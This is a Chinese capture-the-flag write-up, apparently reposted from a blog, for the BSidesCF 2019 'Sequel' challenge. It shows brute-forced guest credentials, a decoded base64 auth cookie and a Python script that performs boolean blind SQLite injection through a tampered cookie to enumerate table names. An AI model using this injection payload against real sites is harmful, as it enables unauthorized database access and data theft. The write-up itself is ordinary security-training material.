[BSidesCF 2019]Sequel SQLite注入

Dlanguage 2020-02-22

[BSidesCF 2019]Sequel SQLite注入

新知识点 :拿到任意账号后 得到cookie ,再篡改cookie进行注入


原创 HyyMbb 最后发布于2020-02-15 20:51:45 阅读数 16 收藏
展开
题目描述

首先是登录,我们爆破一下就好了~~
然后得到用户名和密码均为guest~~
这时登录成功后会返回一个cookie,而且长得很可疑~~

set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly

    1

base64 解密一下得到

{"username":"guest","password":"guest"}

    1

于是我们猜测是通过cookie注入~·
但是没想到得是数据库是SQLite,而不是mysql,搞了半天~~~
exp

import requests
import base64
import string
import sys
out = ""
while True:
    for letter in string.printable:
        tmp = out + letter
        payload = r‘{{"username":"\" OR EXISTS(SELECT name FROM sqlite_master WHERE name LIKE \"{}\" limit 1) OR \"","password":"guest"}}‘.format(tmp + ‘%‘)
        payload = base64.b64encode(payload.encode(‘utf-8‘)).decode(‘utf-8‘)
        r = requests.get(‘https://sequel-9cba4c8e.challenges.bsidessf.net/sequels‘, cookies={"1337_AUTH" : payload})
        if "Movie" in r.text:
            out = tmp
            sys.stdout.write(letter)
            sys.stdout.flush()
            break

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16

查询所有表名(必须自己手工多次查询)

拆了列名 username,password
————————————————
版权声明:本文为CSDN博主「HyyMbb」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/a3320315/article/details/104334246

相关推荐